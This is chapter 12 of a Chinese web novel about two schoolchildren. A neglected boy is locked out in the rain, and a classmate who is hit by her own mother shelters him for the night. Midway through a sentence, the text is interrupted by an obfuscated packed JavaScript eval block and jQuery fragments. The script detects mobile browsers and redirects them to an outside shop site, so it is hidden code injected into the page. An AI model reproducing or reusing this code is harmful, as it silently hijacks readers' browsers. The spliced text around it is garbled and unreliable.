12. Chapter12

作品:《青涩信笺[青梅竹马]

    刺耳的话让龚凌谦呼吸一滞,接着身体像是卸了力一样松垮下来,脸上出现与年龄不符的麻木。


    三年级上册的时候龚席突然回来,留守儿童欢天喜地的以为日子会变得更好。


    但事与愿违,爷爷奶奶回乡,妈妈消失断联,龚席这三年常常不在家,回家也是问成绩,给龚凌谦报了各种补习班,令人窒息。


    门被关上,龚凌谦又被赶了出来,这次他没有像上次一样哭闹,祈求龚席放他进去,一个人坐在门口的小阶梯上。


    天空灰蒙蒙的,下着小雨,龚凌谦抬头看天,门口的挡板很小,雨水滴落在他脸上。


    兜里揣着爷爷买的智能手机,但他不敢给爷爷奶奶打电话。


    隔壁的别墅亮着灯,一家四口的影子照在窗户上,程渡的妹妹程晚珍已经三岁了,到了上幼儿园的年纪。


    龚凌谦偶尔能看见程晚珍拿着幼儿园送的东西给程渡,程渡的母亲在旁边笑着,打趣程晚珍重视程渡超过她,程渡父亲下了班会抱着程晚珍在草坝上和程渡玩耍。


    梦里的画面就这样简单而轻松地出现在隔壁家。


    隔壁二楼的窗户突然被推开,龚凌谦往旁边缩了缩,让头上的挡板挡住隔壁的视线。


    龚凌谦想起了自己的妈妈,他有妹妹了,但妈妈还是没回来。


    ——


    孟佳清举着红色的小雨伞,躲在篱笆墙后。


    黄文仪买的新房离别墅区很近,孟佳清想着顺路就把语文书给龚凌谦,没想到刚好撞见龚凌谦被赶出家门。


    孟佳清低头看鞋,内心纠结,撞见别人囧事,她过去了两个人都很尴尬。


    但不过去龚凌谦的语文书还在她这儿,万一他要复习文言文怎么办。


    孟佳清犹豫着,将心比心,如果这件事发生在她身上,她肯定不希望龚凌谦过来,她的自尊心不允许别人看见她落魄的一面。而且龚凌谦是班级前三名,少看一晚语文书他还可以复习别的嘛。


    这样想着,孟佳清转身离开别墅区。


    “轰隆!”


    雷公电母像是吵架一样,不停地响着。


    龚凌谦坐在楼梯上没动,头埋在膝盖上,雨突然下大,雨水沁湿校服外套,头发也逐渐被打湿。


    “啪嗒。”


    雨停了?


    龚凌谦睁开眼,从手臂缝隙中看见一双熟悉的鞋,龚凌谦猛然抬起头,捆着丸子头的女生站在她面前,紫色的雷电在空中闪过,龚凌谦的呼吸变得急促起来。


    孟佳清背着书包,咬着下嘴唇,手里举着红色小雨伞,小雨伞有一半遮在他身上。


    龚凌谦回过神,有些慌乱地问:“你怎么来了?”


    孟佳清眨眨眼睛,说:“你语文书忘拿走了。”


    “是吗?”龚凌谦慌忙站起身,有些尴尬,安静了几秒,他试探着问:“你什么时候来的?”


    “就刚刚。”


    孟佳清家里有个考官,于是谎言成了她生存的必备技能。


    孟佳清接着问他:“你怎么没回家,忘带钥匙了吗?”


    龚凌谦见孟佳清不像是说谎的样子,心里的石头落了地,说:“嗯,今天出门太急,忘带钥匙了。”


    “你傻啊,下雨不知道找个避雨的地方,人家傻子还知道下雨往家跑呢。”孟佳清嘀嘀咕咕说着。


    孟佳清原本都走出别墅区了,雨突然下大,孟佳清回家的步伐停住,在原地思考三秒,最终还是调转回头,拿着伞去找龚凌谦。


    没想到这傻子还坐在阶梯上一动不动,像是睡着了一样。


    龚凌谦尴尬着挠头,一时接不上孟佳清责备夹着关心的话。


    龚凌谦头发湿漉漉的,这样下去很容易感冒,孟佳清问他:“你要不要跟我回家。”


    龚凌谦有些迟疑,说:“去你家?不太好吧?”


    “没什么不好的,你头发都湿了,万一发烧了怎么办,刚好今天数学老师讲的题我还没懂呢,回家你教教我。”


    孟佳清边说边拉着龚凌谦的胳膊往自己家走,雨伞放在两人中间,雨伞小,两人的肩膀都会淋点雨。


    她又说谎了,数学老师讲的题她在课堂上就懂了,只是她需要一个把龚凌谦带回家的理由。


    温暖的小手搭在冰凉的胳膊上,龚凌谦出神地盯着孟佳清的手,心中的天平开始摇晃。


    接过孟佳清手里的小红伞,把伞偏向孟佳清,自己大半个身躯都暴露在外。


    孟佳清:“你偏这么多干嘛,你都没遮到。”


    龚凌谦理所当然道:“反正我都淋湿了不差这一点,而且我身体比你好,你要是淋湿了肯定感冒。”


    孟佳清不服气:“我才不会感冒!而且这是夏天。”


    “夏天一冷一热也容易感冒,而且我是哥哥,你要听我的。”


    龚凌谦又摆上了哥哥的架子,把孟佳清后面的话堵了回去。


    “哼!你要是感冒了我就让医生给你打好多针。”


    龚凌谦偷偷瞥向孟佳清,三年前尖瘦的脸颊已经变得圆溜溜,更可爱了。


    “你干嘛掐我脸。”孟佳清捂着脸,瞪了龚凌谦一眼。


    “我哪有掐,我那是捏,轻轻捏的。”龚凌谦搓着食指和大拇指,难怪程渡那么爱掐他妹妹的脸,原来是这个感觉。


    孟佳清懒得和龚凌谦计较,马上就要到家了,她还要想着怎么应付黄文仪,还需要给龚凌谦找一套衣服,得把湿衣服换下来。


    孟佳清戳了戳龚凌谦的胳膊,问:“你今晚家长回来吗?不回来睡我家也可以。”


    孟佳清想把龚凌谦留下,有外人在黄文仪就会收敛点,不会像平时那样打骂她。


    “我们明天可以一起上学,晚上我们也能在一起玩,我新买了本漫画书,你要不要看。”


    孟佳清不断抛出诱惑,试图把龚凌谦迷惑住。


    龚凌谦垂着眼睛,反问她:“你希望我留下来?”


    “当然啦,你是我最最最好的朋友。”孟佳清拍着胸脯。


    龚凌谦感觉这句话有点耳熟,好像昨天孟佳清对着乔明兮说过这句。


    不过他没有过多计较,孟佳清就是这样,乔明兮给她笔记,乔明兮就是她最好的朋友,谢溪帮她赢弹珠,谢溪就是她最好的朋友,他给她买零食,他也会是孟佳清最好的朋友。


    “好吧。”


    孟佳清握紧拳头,“yes!”


    孟佳清跳过水坑,红色的小伞跟随她移动,两个人一步一步共同向前走。


    回到家,孟佳清向黄文仪解释了龚凌谦没戴钥匙的事,黄文仪知道龚凌谦,十班的班长,每次开家长会他都在,学习也是名列前茅,对品德优良的好学生黄文仪没什么意见。


    两人边玩边学,黄文仪视线扫过来两人就学,黄文仪不在两人就玩。


    作业本夹着找不同的小人书,孟佳清聚精会神地找着,暖灯照在她脸上,龚凌谦心里的天平悄然无声地开始倾斜。


    孟佳清又找到了个地方,语气有些得意:“你快找啊,我都找到好几个了。”


    龚凌谦嘴角勾起弧度,“嗯,你比我厉害。”


    孟佳清被夸得十分开心,看向龚凌谦,眼睛带着亮光,说:“那是当然啦,我玩这个最厉害了,她们都找的没我多。”


    “嗯,妹妹比所有人都厉害。”


    孟佳清感觉龚凌谦怪怪的,像是在内涵自己,但表情又十分认真,让她没得挑。


    晚上龚凌谦睡孟佳清的房间,孟佳清则难得和黄文仪睡一起。


    龚凌谦的湿衣服晾在阳台上,其中一个衣架已经生锈断了,但仍旧挂在阳台上。


    龚凌谦垂下眼眸,打算明天给孟佳清买一把新的衣架。


    到了第二天,两人一起上学,黄文仪在桌子上多留了五元。


    龚凌谦带着孟佳清在校门口买早餐,有他在根本轮不到孟佳清买单。


    孟佳清眼睛半眯着,在校门口站着吃早餐。


    把装


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17185651|197019||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    包子的口袋扔进垃圾桶,一只手擦了擦她的唇角,孟佳清回过神,看向垃圾桶边的龚凌谦,挠了挠脑袋。


    奇怪,怎么感觉龚凌谦对她更好了,他之前有这么贴心吗?


    孟佳清晃晃头,把问题抛之脑后。


    “佳清!”乔明兮从背后窜出来,手挽住孟佳清胳膊,两人有说有笑地进了教室。


    龚凌谦放下书包,自然地拿过孟佳清桌角上的水杯。


    孟佳清把作业本交在第一排,回来准备去接水,发现水杯凭空不见了,在抽屉里翻找,仍旧没有。


    “完了,我水杯不见了。”


    乔明兮指了指饮水机的位置,“龚凌谦帮你接了。”


    以往都是闺蜜两一起排队接水,现在孟佳清有人帮忙接水,乔明兮只能一个人去了。


    水杯重新放回桌上,孟佳清猜龚凌谦是想报答昨日的收留之恩,便也没说什么。


    直到一周过去,龚凌谦仍旧帮忙接水,孟佳清受不了了。


    龚凌谦把杯子轻轻放在桌子上,孟佳清立刻喊住他:“龚凌谦,你以后不用帮我接水了。”


    “为什么?帮你接水你就不用排队了,还可以趁机偷偷吃小零食。”


    龚凌谦不解,谢溪求他帮忙接水他都不愿意去,特别是下午,排队接水的人特别多,饮水机又在窗边,太阳又晒,如果不是饮水机能制冷,都没人想去排队接水。


    “我想和兮兮一起去接水,想和她聊天。”


    和乔明兮一起就不是单单的接水,是闺蜜的互相陪伴,排队的时候还会聊聊天,互相抱怨安慰,这对孟佳清来说很重要。


    龚凌谦想了想,说:“那我把乔明兮的一起接了。”


    “可以啊!”


    孟佳清还在犹豫,接水回来的乔明兮则是立刻答应。


    夏天的太阳紫外线太大,她一点都不想排队接水。


    龚凌谦:“行,明天我帮你的一起接了。”


    谢溪从旁边窜了出来,脸上堆着笑:“那我的呢?”


    “自己接。”


    “哼!”谢溪转过身,不再理这个重妹轻友的兄弟。


    下午放学,龚凌谦和孟佳清同路,两人一边闹一边走。


    路过杂货铺子,龚凌谦停下脚步,“等我一下。”


    孟佳清不明所以,乖乖地站在门口等他。


    铺子前支着个小桌子,上面有五毛钱的砸金蛋,孟佳清闲着没事砸了一个。


    “一元!老板我中了。”


    “运气好噢小妹妹。”老板笑着从腰间的黑包里抽出绿色的纸币递给孟佳清。


    孟佳清拿着一块钱,整个人沉浸在中奖的喜悦里,犹豫着要不要再砸一次。


    “妹妹,给。”


    龚凌谦从杂货铺里出来,手里拿着一把又粗又硬的不锈钢衣架。


    “之前就想买了,但一直没有,今天老板特意进了些衣架,诺,给你。”


    阳光照在衣架上,孟佳清觉得无比刺眼,刚刚因为中奖的喜悦也荡然无存。


    孟佳清清了清嗓子,问他:“为什么要给我买衣架?”


    “上次去你家我看到衣架生锈了,还有一两个是断的,就想着给你买新的。”


    孟佳清的表情不太好,龚凌谦声音越说越小,他做错了吗?


    “谢谢。”


    孟佳清重新扬起笑脸,接过衣架说:“我们回家吧。”


    “好。”


    两人离别时,龚凌谦张了张嘴,最终还是没问出口。


    “砰!”


    衣架被扔进垃圾桶,像是终于甩掉了沉重的包袱,孟佳清感到一阵轻松,大口呼吸着。


    手心传来刺痛感,孟佳清抬起右手,刚刚那衣架的力度太大,整个手都是红的,还有几个发紫的月牙形状的指甲印。


    孟佳清揉了揉手,转身回了家。


    时间流逝,在蝉的一声声鸣叫声中,小升初的考试落幕,六年级的学生迎来了难得的假日。